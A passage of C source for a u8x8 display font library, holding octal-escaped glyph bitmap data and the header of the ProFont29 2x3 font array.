\"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\34\\70\\70\\70\\34\\37\\17\\3\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\1\\7\\377\\376\\370\\0\\0\\0\\1\\7\\377\\376\\370\\0\\0\\0\\4\\17\\17\\3\\0\\0\\0\\0\\4\\17\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\10\\17\\10\\10\\10\\200@ \\20\\10\\4\\2\\0\\200@ \\20\\10\\4\\2\\1\\300\\240\\220\\210\"\n  \"\\374\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\7\\4\\4\\0\\0\\10\\10\\10\\17\\10\\10\\10\\200@ \\20\"\n  \"\\10\\4\\2\\0\\200@ \\20\\10\\4\\2\\1\\10\\4\\4\\204D\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\5\\4\"\n  \"\\4\\4\\0\\0\\0\\0\\4\\10\\10\\10\\11\\6\\200@ \\20\\10\\4\\2\\0\\200@ \\20\\10\\4\\2\\1\\300\\240\\220\\210\"\n  \"\\374\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\7\\4\\4\\0\\0\\0\\0\\0\\200\\300\\347\\347g\\0\\0\\0\"\n  \"\\0\\0\\0\\0x\\374\\376\\217\\7\\3\\1\\0\\0\\0\\200\\340\\340`\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\"\n  \"\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\300\\360\\375>\\17\\17>\\375\\360\\300\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\"\n  \"\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\"\n  \"\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\300\\360\\375\\77\\17\\17\\77\\375\\360\\300\"\n  \"\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\360\\374\\376\\16\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\377\\377\\377\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\340\\340`\\0\\0\\0\\1C\\343\\367\\177\\77\\37\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\16\\376\\374\\360\\0\\0\\7\\7\\7\\377\\377\\377\\7\\7\\7\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\36<x\\360\\340\\300\\200\\0\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\377\\377\\377\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\340\\370\\374\\35\\17\\16\\16\\16\\16\\17\\35\\374\\370\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\20\\70x\\360\\340\\300\\200\\200\\300\\340\\360x\"\n  \"\\70\\20\\0\\0@\\340\\360x=\\37\\17\\17\\37=x\\360\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\207\\307\\347\\376\\376\\374\\360\\0\\0\\177\\377\\377\\370<\\36\\17\\7\\3\\1\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\0\\0\\0\\377\\377\\377\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\376\\376\\376\\1\\1\\0\\0\\0\\0\\1\\1\\376\"\n  \"\\376\\376\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\200\\0\\0\\1\\1\\0\\200\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70p\\360\\340\\200\\0\\0\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70\\34\\37\"\n  \"\\17\\3\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\300\\341\\377\\77\"\n  \"\\37\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\3\\207\\377\\374\\370\\0\\0\\0\\77\\77\\77\\0\\0\\0\\7\\7\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\341\\343\\347\\347\\342\\340\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\342\\347\\347\\343\\341\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\302\\307\\347\\343\\341\\341\\343\\347\\347\\342\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\0\\0\\7\\207\\307\\301\\341\\343\\343\\347\\347\\347\\347\\343\"\n  \"\\341\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\307\\307\\347\\340\\340\\340\\340\\347\\347\\347\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\0\\0\\0\\200\\300\\300\\357\\377\\370\\370\\370\\377\\357\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0~\\377\\377\\201\\0\\377\\377\\377\\70\\71;\\77\"\n  \"\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\1\\7\\7\\6\\0\\0\\0\\1C\\343\\367\\177\\77\\37\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\300\\341\\343\\347\\347\\342\\340\\300\\300\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\"\n  \"\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\342\\347\\347\\343\\341\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\302\\307\\347\\343\\341\\341\\343\\347\\307\\302\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\"\n  \"\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\200\\307\\307\\347\\340\\340\\340\\340\\347\\307\\307\"\n  \"\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\340\\340\\341\\343\\347\\347\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\340\\340\\342\\347\\347\\343\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\342\\347\\347\\343\\341\\341\\3\\7\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\347\\347\\347\\340\\340\\340\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\204\\316\\317\\347\\343\\347\\357\\376\\374\\370\\360\\340\\300\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\347\\347\\347\\1\\201\\303\\303\\347\\347\\347\\307\\303\"\n  \"\\201\\0\\0\\0\\377\\377\\377\\7\\3\\1\\1\\0\\0\\0\\1\\377\\377\\376\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\300\\341\\343\\347\\347\\342\\340\\300\\300\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\300\\300\\340\\342\\347\\347\\343\\341\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\200\\302\\307\\347\\343\\341\\341\\343\\347\\307\\302\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\207\\307\\301\\341\\343\\343\\347\\347\\347\\307\\303\"\n  \"\\201\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\200\\307\\307\\347\\340\\340\\340\\340\\347\\307\\307\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\307\\307\\307\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0~\\377\\377\\301\\340p\\70\\34\\16\\7\\203\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\340\\340\\340\\0\\1\\3\\7\\7\\2\\0\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\340\\340\\340\\0\\0\\2\\7\\7\\3\\1\\0\\340\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\0\\0\\340\\340\\342\\7\\7\\3\\1\\1\\3\\7\\7\\342\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\340\\340\\347\\7\\7\\0\\0\\0\\0\\7\\7\\347\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\0\\0\\340\\340\\340\\0\\0\\2\\7\\7\\3\\1\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\343\\347\\347\\347\\347\\347\\347w\\177\"\n  \"\\77\\17\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\340\\340\\347\\7\\7\\0\\0\\0\\0\\7\\7\\347\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\347\\347\\347\\347\\347\\347\\347\\367\\177\"\n  \"\\77\\17\\0\";\n/*\n  Fontname: ProFont29\n  Copyright: ProFont Distribution 2.2  Generated by Fontographer 4.1.5\n  Glyphs: 96/256\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_profont29_2x3_r[4612] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_r\") = \n  \" \\177\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\377\\377\\377\\34\\34\\34\\377\\377\\377\"\n  \"\\34\\34\\34\\0\\7\\7\\7\\77\\77\\77\\7\\7\\7\\77\\77\\77\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\7\\377\\377\\377\\7\\16><\\60\\0\\0\\0`\\341\\343\\203\\7\\377\\377\\377\\7\\216\\376\\374\"\n  \"p\\0\\0\\0\\0\\1\\3\\3\\7\\77\\77\\77\\7\\3\\3\\1\\0\\0\\0\\0p\\374\\376\\7\\7\\377\\377\\367\\307\\347\\367\\177\"\n  \"\\77\\37\\0\\0\\300\\341\\363\\177\\77\\177\\377\\377\\7\\7\\375\\374p\\0\\0\\0\\7\\7\\7\\0\\0\\0\\1\\3\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\207\\307\\347\\367~>\\34\\0\\0\\0\\0\\0p\\375\\377\\217\\17\\37=\\370\\360\\340\\360\\370\"\n  \"<\\30\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\3\\7\\7\\2\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36<\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\370\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\20\\70<\\36\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\70\\70\\360\\340\\376\\376\\376\\360\\360\\70\\70\\20\\0\\0\\0\\2\\7\\7\\3\\3\\77\\77\\77\\3\\3\\7\\7\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\341\\363\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\207\\307\\347\\376\\376\\374\\360\\0\\0\\177\\377\\377\\370<\\36\\17\\7\\3\\1\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\70\\70\\70<\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\207\\216\\376\"\n  \"\\374p\\0\\0`\\340\\340\\200\\0\\0\\7\\7\\7\\17\\217\\375\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\377\\377\\377\\0\\0\\0\\0\\0\\37\\37\\37\\35\\34\\34\\34\\34\\377\\377\\377\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\347\\347\\347\\347\\347\\347\\347\\307\\307\"\n  \"\\207\\7\\0\\0`\\340\\340\\200\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\360\\374\\376\\356\\347\\347\\347\\347\\347\\347\\307\\300\\200\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\307\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\207\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0p\\370\\375\\217\\17\\7\\7\\7\\7\\17\\217\\375\"\n  \"\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\3\\17\\37\\34\\70\\70\\70\\70\\70\\70\\270\\377\\377\\177\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\343\\343\\343\\301\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  